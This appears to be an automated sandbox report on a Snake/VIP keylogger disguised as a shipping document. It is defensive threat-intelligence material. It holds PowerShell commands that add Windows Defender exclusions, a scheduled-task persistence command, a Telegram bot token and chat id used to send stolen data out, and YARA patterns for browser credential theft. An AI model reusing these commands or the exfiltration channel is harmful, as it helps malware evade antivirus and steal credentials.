Edit tour

Windows Analysis Report
Shipment advice H-BL Draft.exe

Overview

General Information

Sample name:	Shipment advice H-BL Draft.exe
Analysis ID:	1632061
MD5:	83dbd3ae208a7ead15608402f92c0472
SHA1:	cf2decf01276e50139778052a969044d4fc9d184
SHA256:	2b4b87faf461d7fc3d1ca3344b9a5d0b52c98a63ef59ff5d53d9d9620cae98d4
Tags:	exeuser-James_inthe_box
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Shipment advice H-BL Draft.exe (PID: 7548 cmdline: "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe" MD5: 83DBD3AE208A7EAD15608402F92C0472)

powershell.exe (PID: 8000 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8080 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 5236 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 8120 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmpFBC0.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Shipment advice H-BL Draft.exe (PID: 2296 cmdline: "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe" MD5: 83DBD3AE208A7EAD15608402F92C0472)

Shipment advice H-BL Draft.exe (PID: 736 cmdline: "C:\Users\user\Desktop\Shipment advice H-BL Draft.exe" MD5: 83DBD3AE208A7EAD15608402F92C0472)

PrcGlGVKeUCXxg.exe (PID: 1340 cmdline: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe MD5: 83DBD3AE208A7EAD15608402F92C0472)

schtasks.exe (PID: 1208 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmp110D.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PrcGlGVKeUCXxg.exe (PID: 7888 cmdline: "C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe" MD5: 83DBD3AE208A7EAD15608402F92C0472)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "Telegram", "Bot Token": "7699178513:AAEhuKQBbaAxJ54evVaAuMwZLV8FZ2cw8Rc", "Chat id": "6744331132"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7699178513:AAEhuKQBbaAxJ54evVaAuMwZLV8FZ2cw8Rc", "Chat_id": "6744331132", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.3718301984.00000000029A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000012.00000002.3719627669.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.3719627669.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000012.00000002.3719627669.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000D.00000002.3718301984.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2eb35:$a1: get_encryptedPassword 0x72955:$a1: get_encryptedPassword 0xb6575:$a1: get_encryptedPassword 0x2ee5e:$a2: get_encryptedUsername 0x72c7e:$a2: get_encryptedUsername 0xb689e:$a2: get_encryptedUsername 0x2e945:$a3: get_timePasswordChanged 0x72765:$a3: get_timePasswordChanged 0xb6385:$a3: get_timePasswordChanged 0x2ea4e:$a4: get_passwordField 0x7286e:$a4: get_passwordField 0xb648e:$a4: get_passwordField 0x2eb4b:$a5: set_encryptedPassword 0x7296b:$a5: set_encryptedPassword 0xb658b:$a5: set_encryptedPassword 0x301fb:$a7: get_logins 0x7401b:$a7: get_logins 0xb7c3b:$a7: get_logins 0x3015e:$a10: KeyLoggerEventArgs 0x73f7e:$a10: KeyLoggerEventArgs 0xb7b9e:$a10: KeyLoggerEventArgs
0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2ea05:$a1: get_encryptedPassword 0x72825:$a1: get_encryptedPassword 0xb6445:$a1: get_encryptedPassword 0x2ed2e:$a2: get_encryptedUsername 0x72b4e:$a2: get_encryptedUsername 0xb676e:$a2: get_encryptedUsername 0x2e815:$a3: get_timePasswordChanged 0x72635:$a3: get_timePasswordChanged 0xb6255:$a3: get_timePasswordChanged 0x2e91e:$a4: get_passwordField 0x7273e:$a4: get_passwordField 0xb635e:$a4: get_passwordField 0x2ea1b:$a5: set_encryptedPassword 0x7283b:$a5: set_encryptedPassword 0xb645b:$a5: set_encryptedPassword 0x300cb:$a7: get_logins 0x73eeb:$a7: get_logins 0xb7b0b:$a7: get_logins 0x3002e:$a10: KeyLoggerEventArgs 0x73e4e:$a10: KeyLoggerEventArgs 0xb7a6e:$a10: KeyLoggerEventArgs
Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2a29f:$a1: get_encryptedPassword 0x2a5be:$a2: get_encryptedUsername 0x2a0b9:$a3: get_timePasswordChanged 0x2a1c2:$a4: get_passwordField 0x2a2b5:$a5: set_encryptedPassword 0x2c795:$a7: get_logins 0x2c6f8:$a10: KeyLoggerEventArgs 0x2c361:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Shipment advice H-BL Draft.exe PID: 736	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Shipment advice H-BL Draft.exe PID: 736	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x5cbc6:$a1: get_encryptedPassword 0x5cee5:$a2: get_encryptedUsername 0x5c9e0:$a3: get_timePasswordChanged 0x5cae9:$a4: get_passwordField 0x5cbdc:$a5: set_encryptedPassword 0x5f0bc:$a7: get_logins 0x5f01f:$a10: KeyLoggerEventArgs 0x5ec88:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340	MALWARE_Win_Phoenix	Phoenix/404KeyLogger keylogger payload	ditekSHen	0x5c62f:$s3: CRYPTPROTECT_ 0x5c650:$s3: CRYPTPROTECT_ 0x5c66f:$s3: CRYPTPROTECT_ 0x5c6ad:$s3: CRYPTPROTECT_ 0x5c6cd:$s3: CRYPTPROTECT_ 0x5c6eb:$s3: CRYPTPROTECT_ 0x62516:$m5: PSWD 0x63a8c:$m5: PSWD 0x610c3:$m6: Screenshot \| 0x610e8:$m6: Screenshot \| 0x61107:$m6: Screenshot \| 0xd60c:$m7: Logs \|
Process Memory Space: PrcGlGVKeUCXxg.exe PID: 7888	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PrcGlGVKeUCXxg.exe PID: 7888	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: PrcGlGVKeUCXxg.exe PID: 7888	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.Shipment advice H-BL Draft.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ef1b:$s1: UnHook 0x2ef22:$s2: SetHook 0x2ef2a:$s3: CallNextHook 0x2ef37:$s4: _hook
14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2c4f5:$a1: get_encryptedPassword 0x2c81e:$a2: get_encryptedUsername 0x2c305:$a3: get_timePasswordChanged 0x2c40e:$a4: get_passwordField 0x2c50b:$a5: set_encryptedPassword 0x2dbbb:$a7: get_logins 0x2db1e:$a10: KeyLoggerEventArgs 0x2d783:$a11: KeyLoggerEventArgsEventHandler
0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2c4f5:$a1: get_encryptedPassword 0x2c81e:$a2: get_encryptedUsername 0x2c305:$a3: get_timePasswordChanged 0x2c40e:$a4: get_passwordField 0x2c50b:$a5: set_encryptedPassword 0x2dbbb:$a7: get_logins 0x2db1e:$a10: KeyLoggerEventArgs 0x2d783:$a11: KeyLoggerEventArgsEventHandler
14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2c4f5:$a1: get_encryptedPassword 0x2c81e:$a2: get_encryptedUsername 0x2c305:$a3: get_timePasswordChanged 0x2c40e:$a4: get_passwordField 0x2c50b:$a5: set_encryptedPassword 0x2dbbb:$a7: get_logins 0x2db1e:$a10: KeyLoggerEventArgs 0x2d783:$a11: KeyLoggerEventArgsEventHandler
14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a2e5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39988:$a3: \Google\Chrome\User Data\Default\Login Data 0x39be5:$a4: \Orbitum\User Data\Default\Login Data 0x3a5c4:$a5: \Kometa\User Data\Default\Login Data
0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a2e5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39988:$a3: \Google\Chrome\User Data\Default\Login Data 0x39be5:$a4: \Orbitum\User Data\Default\Login Data 0x3a5c4:$a5: \Kometa\User Data\Default\Login Data
0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2c4f5:$a1: get_encryptedPassword 0x2c81e:$a2: get_encryptedUsername 0x2c305:$a3: get_timePasswordChanged 0x2c40e:$a4: get_passwordField 0x2c50b:$a5: set_encryptedPassword 0x2dbbb:$a7: get_logins 0x2db1e:$a10: KeyLoggerEventArgs 0x2d783:$a11: KeyLoggerEventArgsEventHandler
0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a2e5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39988:$a3: \Google\Chrome\User Data\Default\Login Data 0x39be5:$a4: \Orbitum\User Data\Default\Login Data 0x3a5c4:$a5: \Kometa\User Data\Default\Login Data
0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a2e5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39988:$a3: \Google\Chrome\User Data\Default\Login Data 0x39be5:$a4: \Orbitum\User Data\Default\Login Data 0x3a5c4:$a5: \Kometa\User Data\Default\Login Data
14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d11b:$s1: UnHook 0x2d122:$s2: SetHook 0x2d12a:$s3: CallNextHook 0x2d137:$s4: _hook
14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d11b:$s1: UnHook 0x2d122:$s2: SetHook 0x2d12a:$s3: CallNextHook 0x2d137:$s4: _hook
0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d11b:$s1: UnHook 0x2d122:$s2: SetHook 0x2d12a:$s3: CallNextHook 0x2d137:$s4: _hook
0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d11b:$s1: UnHook 0x2d122:$s2: SetHook 0x2d12a:$s3: CallNextHook 0x2d137:$s4: _hook
0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e2f5:$a1: get_encryptedPassword 0x71f15:$a1: get_encryptedPassword 0x2e61e:$a2: get_encryptedUsername 0x7223e:$a2: get_encryptedUsername 0x2e105:$a3: get_timePasswordChanged 0x71d25:$a3: get_timePasswordChanged 0x2e20e:$a4: get_passwordField 0x71e2e:$a4: get_passwordField 0x2e30b:$a5: set_encryptedPassword 0x71f2b:$a5: set_encryptedPassword 0x2f9bb:$a7: get_logins 0x735db:$a7: get_logins 0x2f91e:$a10: KeyLoggerEventArgs 0x7353e:$a10: KeyLoggerEventArgs 0x2f583:$a11: KeyLoggerEventArgsEventHandler 0x731a3:$a11: KeyLoggerEventArgsEventHandler
0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3c0e5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7fd05:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b788:$a3: \Google\Chrome\User Data\Default\Login Data 0x7f3a8:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b9e5:$a4: \Orbitum\User Data\Default\Login Data 0x7f605:$a4: \Orbitum\User Data\Default\Login Data 0x3c3c4:$a5: \Kometa\User Data\Default\Login Data 0x7ffe4:$a5: \Kometa\User Data\Default\Login Data
0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ef1b:$s1: UnHook 0x72b3b:$s1: UnHook 0x2ef22:$s2: SetHook 0x72b42:$s2: SetHook 0x2ef2a:$s3: CallNextHook 0x72b4a:$s3: CallNextHook 0x2ef37:$s4: _hook 0x72b57:$s4: _hook
14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e2f5:$a1: get_encryptedPassword 0x71f15:$a1: get_encryptedPassword 0x2e61e:$a2: get_encryptedUsername 0x7223e:$a2: get_encryptedUsername 0x2e105:$a3: get_timePasswordChanged 0x71d25:$a3: get_timePasswordChanged 0x2e20e:$a4: get_passwordField 0x71e2e:$a4: get_passwordField 0x2e30b:$a5: set_encryptedPassword 0x71f2b:$a5: set_encryptedPassword 0x2f9bb:$a7: get_logins 0x735db:$a7: get_logins 0x2f91e:$a10: KeyLoggerEventArgs 0x7353e:$a10: KeyLoggerEventArgs 0x2f583:$a11: KeyLoggerEventArgsEventHandler 0x731a3:$a11: KeyLoggerEventArgsEventHandler
14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3c0e5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7fd05:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b788:$a3: \Google\Chrome\User Data\Default\Login Data 0x7f3a8:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b9e5:$a4: \Orbitum\User Data\Default\Login Data 0x7f605:$a4: \Orbitum\User Data\Default\Login Data 0x3c3c4:$a5: \Kometa\User Data\Default\Login Data 0x7ffe4:$a5: \Kometa\User Data\Default\Login Data
14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ef1b:$s1: UnHook 0x72b3b:$s1: UnHook 0x2ef22:$s2: SetHook 0x72b42:$s2: SetHook 0x2ef2a:$s3: CallNextHook 0x72b4a:$s3: CallNextHook 0x2ef37:$s4: _hook 0x72b57:$s4: _hook
0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e2f5:$a1: get_encryptedPassword 0x72115:$a1: get_encryptedPassword 0xb5d35:$a1: get_encryptedPassword 0x2e61e:$a2: get_encryptedUsername 0x7243e:$a2: get_encryptedUsername 0xb605e:$a2: get_encryptedUsername 0x2e105:$a3: get_timePasswordChanged 0x71f25:$a3: get_timePasswordChanged 0xb5b45:$a3: get_timePasswordChanged 0x2e20e:$a4: get_passwordField 0x7202e:$a4: get_passwordField 0xb5c4e:$a4: get_passwordField 0x2e30b:$a5: set_encryptedPassword 0x7212b:$a5: set_encryptedPassword 0xb5d4b:$a5: set_encryptedPassword 0x2f9bb:$a7: get_logins 0x737db:$a7: get_logins 0xb73fb:$a7: get_logins 0x2f91e:$a10: KeyLoggerEventArgs 0x7373e:$a10: KeyLoggerEventArgs 0xb735e:$a10: KeyLoggerEventArgs
0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3c0e5:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7ff05:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc3b25:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b788:$a3: \Google\Chrome\User Data\Default\Login Data 0x7f5a8:$a3: \Google\Chrome\User Data\Default\Login Data 0xc31c8:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b9e5:$a4: \Orbitum\User Data\Default\Login Data 0x7f805:$a4: \Orbitum\User Data\Default\Login Data 0xc3425:$a4: \Orbitum\User Data\Default\Login Data 0x3c3c4:$a5: \Kometa\User Data\Default\Login Data 0x801e4:$a5: \Kometa\User Data\Default\Login Data 0xc3e04:$a5: \Kometa\User Data\Default\Login Data
0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ef1b:$s1: UnHook 0x72d3b:$s1: UnHook 0xb695b:$s1: UnHook 0x2ef22:$s2: SetHook 0x72d42:$s2: SetHook 0xb6962:$s2: SetHook 0x2ef2a:$s3: CallNextHook 0x72d4a:$s3: CallNextHook 0xb696a:$s3: CallNextHook 0x2ef37:$s4: _hook 0x72d57:$s4: _hook 0xb6977:$s4: _hook
14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e2f5:$a1: get_encryptedPassword 0x72115:$a1: get_encryptedPassword 0xb5d35:$a1: get_encryptedPassword 0x2e61e:$a2: get_encryptedUsername 0x7243e:$a2: get_encryptedUsername 0xb605e:$a2: get_encryptedUsername 0x2e105:$a3: get_timePasswordChanged 0x71f25:$a3: get_timePasswordChanged 0xb5b45:$a3: get_timePasswordChanged 0x2e20e:$a4: get_passwordField 0x7202e:$a4: get_passwordField 0xb5c4e:$a4: get_passwordField 0x2e30b:$a5: set_encryptedPassword 0x7212b:$a5: set_encryptedPassword 0xb5d4b:$a5: set_encryptedPassword 0x2f9bb:$a7: get_logins 0x737db:$a7: get_logins 0xb73fb:$a7: get_logins 0x2f91e:$a10: KeyLoggerEventArgs 0x7373e:$a10: KeyLoggerEventArgs 0xb735e:$a10: KeyLoggerEventArgs
